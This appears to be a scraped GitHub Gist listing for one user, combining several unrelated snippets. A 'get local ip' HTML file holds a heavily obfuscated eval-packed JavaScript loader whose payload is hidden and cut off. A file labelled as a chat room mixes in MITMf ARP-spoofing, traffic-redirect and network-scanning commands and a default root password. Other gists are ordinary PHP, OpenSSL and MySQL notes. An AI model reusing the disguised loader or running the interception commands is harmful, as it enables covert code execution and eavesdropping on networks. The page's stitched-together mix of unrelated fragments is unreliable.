Skip to content

Instantly share code, notes, and snippets.

@boy3vil
boy3vil / locall_ip.html
Last active November 9, 2019 12:53
get local ip with JS
<script>
//get local IP :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
var _0xc13e=["","split","0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/","slice","indexOf","","",".","pow","reduce","reverse","0"];function _0xe55c(d,e,f){var g=_0xc13e[2][_0xc13e[1]](_0xc13e[0]);var h=g[_0xc13e[3]](0,e);var i=g[_0xc13e[3]](0,f);var j=d[_0xc13e[1]](_0xc13e[0])[_0xc13e[10]]()[_0xc13e[9]](function(a,b,c){if(h[_0xc13e[4]](b)!==-1)return a+=h[_0xc13e[4]](b)*(Math[_0xc13e[8]](e,c))},0);var k=_0xc13e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k||_0xc13e[11]}eval(function(h,u,n,t,e,r){r="";for(var i=0,len=h.length;i<len;i++){var s="";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],"g"),j);r+=String.fromCharCode(_0xe55c(s,e,10)-t)}return decodeURIComponent(escape(r))}("ttgNttvNvytNvytNvFgNtvdNtgvNttdNvvvNtdWNtddNtgtNtdtNtvWNvytNvyFNtdtNttyNtggNWvNvgtNtvdNtgvNttyNvytNvydNvvtNvvgNvvdNvvdNvvdNvydNvydNWvNvdvNWvNvvgNvtvNvtdNvvWNvvWNvvFNvvgNvtdNvttNvtd
@boy3vil
boy3vil / index.php
Created October 25, 2019 04:25
sockket io chating room
<head>
... // your other code
<script>
var socket = io.connect('http://localhost:8000');
socket.on('connect', function(){
socket.emit('adduser', prompt("What's your name: "));
});
socket.on('updatechat', function (username, data) {
socket.emit('message', "this is a test"); //sending to sender-client only
socket.broadcast.emit('message', "this is a test"); //sending to all clients except sender
socket.broadcast.to('game').emit('message', 'nice game'); //sending to all clients in 'game' room(channel) except sender
socket.to('game').emit('message', 'enjoy the game'); //sending to sender client, only if they are in 'game' room(channel)
socket.broadcast.to(socketid).emit('message', 'for your eyes only'); //sending to individual socketid
io.emit('message', "this is a test"); //sending to all clients, include sender
io.in('game').emit('message', 'cool game'); //sending to all clients in 'game' room(channel), include sender
io.of('myNamespace').emit('message', 'gg'); //sending to all clients in namespace 'myNamespace', include sender
socket.emit(); //send to all connected clients
socket.broadcast.emit(); //send to all connected clients except the one that sent the message
mitmf --arp --spoof --gateway 192.168.100.1 --target 192.168.100.100 -i wlan0
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
(if error pip)
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
nmap -sS -O 192.168.100.2/24
login root toor (default)
apt-get update
apt-get upgrade -y
apt-get install -f gdm3
@boy3vil
boy3vil / tree.php
Last active August 5, 2019 09:29
PHP,, Create Tree Child Parent JSON from DB
$data = [
['id'=>1, 'id_parent'=>0],
['id'=>2, 'id_parent'=>1],
['id'=>3, 'id_parent'=>1],
['id'=>4, 'id_parent'=>2]
];
$tree = [];
$temp_tree = [];
set OPENSSL_CONF=D:\lab\apache\bin\openssl.cnf
openssl req -newkey rsa:2048 -sha256 -nodes -keyout ca.key -x509 -days 3650 -out ca.crt -subj "/C=ID/ST=NAD/L=BNA/O=ECH/CN=domain.com"
file
server.crt -> D:\xampp\apache\conf\ssl.crt
server.key -> D:\xampp\apache\conf\ssl.key
@boy3vil
boy3vil / gist:0b2e319485b2957968fc73659fa632bb
Created February 6, 2017 01:42
Change the column position of MySql table
+----+------+-------+----------+
| id | name | email | password |
+----+------+-------+----------+
to
+----+----------+------+-------+
| id | password | name | email |
+----+----------+------+-------+